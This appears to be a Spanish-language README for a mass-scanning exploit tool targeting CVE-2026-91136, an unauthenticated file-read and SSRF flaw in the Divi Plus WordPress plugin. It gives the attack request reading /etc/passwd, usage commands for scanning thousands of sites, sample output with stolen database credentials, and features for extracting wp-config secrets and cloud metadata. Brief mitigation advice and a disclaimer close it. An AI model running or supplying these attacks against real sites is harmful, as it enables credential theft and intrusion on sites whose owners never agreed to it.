CVE-2026-91136 — Divi Plus ≤ 2.4.0 — PoC de lectura arbitraria de archivos sin autenticación

Divi Plus (Elicus) — plugin de WordPress ≤ 2.4.0 — lectura arbitraria de archivos sin autenticación a través del parámetro svg_image del espacio de nombres REST elicus/v1.

📋 Descripción general de la vulnerabilidad

🔍 Descripción técnica

SVGAnimatorController::index_permission devuelve true incondicionalmente, por lo que el endpoint /wp-json/elicus/v1/dipl-modules/svg-animator es accesible sin autenticación. La entrada svg_image solo pasa por sanitize_text_field() y esc_html() — que no restringen rutas del sistema de archivos, el wrapper de flujo file:// ni URLs remotas — antes de ser pasada a file_get_contents() (con un respaldo wp_remote_get()). El cuerpo de la respuesta sin procesar se devuelve en el campo JSON html.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

Impacto: lectura de /etc/passwd, wp-config.php (credenciales de BD + sales de autenticación), metadatos de la nube mediante SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env y cualquier otro archivo que el usuario web pueda leer.

🚀 Uso

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 Salida

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• barra de progreso en vivo de una sola línea: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — solo objetivos confirmados como vulnerables

⚙️ Características

• Fingerprint: respuesta del endpoint svg-animator + versión mediante los assets de divi-plus ?ver=
• Oráculo de versión: la rama vulnerable devuelve el cuerpo de los archivos; la parcheada/WAF devuelve 403/vacío
• Descubrimiento de wp-config.php: candidatos fijos + directorios reales /home/<user>/ extraídos de /etc/passwd
• Sondas SSRF: endpoints de metadatos de AWS / GCP / Azure / DigitalOcean / OCI
• Extracción de loot: credenciales de BD + sales de autenticación de WordPress, con enlaces directos reutilizables por hallazgo
• Modo masivo: pool de hilos, deduplicación, recuento en vivo ✓/✗, exportación JSONL + hits

📁 Estructura de archivos

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Aviso legal

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigación

1. Actualizar Divi Plus a 2.4.1 (o posterior)
2. Rotar cualquier credencial expuesta a través de la lectura de archivos
3. Bloquear GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator en el WAF
4. Monitorizar los registros en busca de valores svg_image que contengan file://, /etc/ o IPs de metadatos